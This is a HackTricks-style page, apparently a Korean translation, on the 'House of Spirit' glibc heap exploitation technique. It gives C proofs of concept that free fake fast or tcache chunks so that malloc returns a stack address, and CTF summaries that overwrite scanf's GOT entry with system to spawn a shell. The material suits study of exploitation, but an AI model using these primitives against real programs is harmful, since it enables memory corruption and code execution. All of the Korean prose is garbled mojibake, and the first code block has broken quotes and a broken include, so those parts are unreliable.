House of Spirit
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
์ฝ๋
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(โOriginal alloc address: %p\nโ, ptr); printf(โMain fake chunk:%p\nโ, &fake_chunks[0]); printf(โSecond fake chunk for size: %p\nโ, &fake_chunks[1]);
// Passes size check of โfree(): invalid sizeโ fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes โfree(): invalid next size (fast)โ fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be โfreedโ // Point to .fd as itโs the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(โVictim: %p\nโ, victim);
return 0; }
</details>
### ๋ชฉํ
- tcache / fast bin์ ์ฃผ์๋ฅผ ์ถ๊ฐํด์ ๋์ค์ ํด๋น ์ฃผ์๋ฅผ allocateํ ์ ์์ด์ผ ํจ
### ์๊ตฌ์ฌํญ
- ์ด ๊ณต๊ฒฉ์ ๊ณต๊ฒฉ์๊ฐ size ๊ฐ์ ์ฌ๋ฐ๋ฅด๊ฒ ํ์ํ fake fast chunks๋ฅผ ๋ช ๊ฐ ์์ฑํ๊ณ , ์ฒซ ๋ฒ์งธ fake chunk๋ฅผ freeํ์ฌ bin์ ๋ค์ด๊ฐ๊ฒ ํ ์ ์์ด์ผ ํจ.
- **tcache (glibc โฅ2.26)** ํ๊ฒฝ์์๋ ๊ณต๊ฒฉ์ด ๋ ๊ฐ๋จํด์ง: fake chunk ํ๋๋ง ์์ผ๋ฉด ๋๋ค( tcache ๊ฒฝ๋ก์์๋ next-chunk size ์ฒดํฌ๊ฐ ์ํ๋์ง ์์). ๋จ, fake chunk๊ฐ 0x10 ์ ๋ ฌ๋์ด ์๊ณ size ํ๋๊ฐ ์ ํจํ tcache bin (0x20-0x410 on x64)์ ์ํด์ผ ํจ.
### ๊ณต๊ฒฉ
- ๋ณด์ ๊ฒ์ฌ๋ฅผ ์ฐํํ๋ fake chunks๋ฅผ ์์ฑ: ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ๋ฐ๋ฅธ ์์น์ ์ฌ๋ฐ๋ฅธ size ๊ฐ์ ํ์ํ๋ fake chunk 2๊ฐ๊ฐ ํ์ํจ
- ์ด๋ค ์์ผ๋ก๋ ์ฒซ ๋ฒ์งธ fake chunk๋ฅผ freeํด fast ๋๋ tcache bin์ ๋ค์ด๊ฐ๊ฒ ํ ๋ค, ๊ทธ ์ฃผ์๋ฅผ allocateํ์ฌ ํด๋น ์ฃผ์๋ฅผ overwriteํจ
**์ด ์ฝ๋๋** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **๊ณต๊ฒฉ์ ์ดํดํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํ๋ค.** ๋ค๋ง ์ฝ๋์ ์ด ๋์์ด ์ด๋ฅผ ๊ฝค ์ ์์ฝํ๋ค:
<details>
<summary>๊ฐ์ง chunk ๋ ์ด์์</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Tip
๋ ๋ฒ์งธ chunk๋ฅผ ์์ฑํด์ผ ์ผ๋ถ sanity ์ฒดํฌ๋ฅผ ์ฐํํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.
Tcache house of spirit (glibc โฅ2.26)
- ์ต์ glibc์์๋ tcache fast-path๊ฐ ๋ค์ ์ฒญํฌ์ ํฌ๊ธฐ/
prev_inuse๋ฅผ ๊ฒ์ฆํ๊ธฐ ์ ์tcache_put์ ํธ์ถํ๋ฏ๋ก, ํ์ฌ์ fake chunk๋ง ์ ์์ฒ๋ผ ๋ณด์ด๋ฉด ๋๋ค. - ์๊ตฌ ์ฌํญ:
- Fake chunk must be 16-byte aligned and not marked
IS_MMAPPED/NON_MAIN_ARENA. sizemust belong to a tcache bin and include the prev_inuse bit set (size | 1).- Tcache for that bin must not be full (default max 7 entries).
- Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41; // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2]; // points inside fake chunk
free(p); // goes straight into tcache
void *q = malloc(0x30); // returns stack address fake+2
- Safe-linking is not a barrier here: the forward pointer stored in tcache is automatically encoded as
fd = ptr ^ (heap_base >> 12)duringfree, so the attacker does not need to know the key when using a single fake chunk. - ์ด ๋ณํ์ glibc hooks๊ฐ ์ ๊ฑฐ๋์์ ๋(โฅ2.34) ์ ์ฉํ๋ฉฐ, ์ถ๊ฐ ์์ ์์ด tcache ์ฒญํฌ๋ก ๋์ ๋ฒํผ(์: stack/BSS)๋ฅผ ๊ฒน์น๊ฒ ํ๊ฑฐ๋ ๋น ๋ฅธ arbitrary write๊ฐ ํ์ํ ๋ ํธ๋ฆฌํ๋ค.
Examples
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Via an overflow itโs possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
-
House of Spirit: ์นด์ดํฐ(์: โriflesโ์ ๊ฐ์๋ฅผ ์ธ๋)๋ฅผ ์ ์ฉํ๋ฉด ์ฒซ ๋ฒ์งธ fake chunk์ fake size๋ฅผ ์์ฑํ ์ ์๊ณ , ์ด์ด์ โmessageโ๋ฅผ ์ ์ฉํ๋ฉด ๋ ๋ฒ์งธ ์ฒญํฌ์ size๋ฅผ ์์กฐํ ์ ์์ผ๋ฉฐ, ๋ง์ง๋ง์ผ๋ก overflow๋ฅผ ์ ์ฉํด ํด์ ๋ ํฌ์ธํฐ๋ฅผ ๋ณ๊ฒฝํ์ฌ ์ฒซ ๋ฒ์งธ fake chunk๊ฐ free๋๊ฒ ํ ์ ์๋ค. ๊ทธ๋ฐ ๋ค์ ์ด๋ฅผ ํ ๋นํ๋ฉด ๋ด๋ถ์ โmessageโ๊ฐ ์ ์ฅ๋ ์ฃผ์๊ฐ ๋ค์ด ์๊ณ , ์ด๋ฅผ GOT ํ ์ด๋ธ์
scanf์ํธ๋ฆฌ๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋ง๋ค์ด system ์ฃผ์๋ก ๋ฎ์ด์ธ ์ ์๋ค.
๋ค์ ๋ฒ์scanf๊ฐ ํธ์ถ๋๋ฉด ์ ๋ ฅ์ผ๋ก"/bin/sh"๋ฅผ ๋ณด๋ด ์ ธ์ ์ป์ ์ ์๋ค. -
Glibc leak: Uninitialized stack buffer.
-
House of Spirit: ์ ์ญ heap ํฌ์ธํฐ ๋ฐฐ์ด์ ์ฒซ ๋ฒ์งธ ์ธ๋ฑ์ค๋ฅผ ์์ ํ ์ ์๋ค. ๋จ์ผ ๋ฐ์ดํธ ์์ ์ ํตํด ์ ํจํ ์ฒญํฌ ๋ด๋ถ์ fake chunk์ ๋ํด
free๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์ ํ ๋นํ๋ฉด overlapping chunks ์ํฉ์ ๋ง๋ค ์ ์๋ค. ์ด๋ฅผ ํตํด ๊ฐ๋จํ Tcache poisoning attack์ผ๋ก arbitrary write primitive๋ฅผ ์ป์ ์ ์๋ค.
References
- https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
- https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


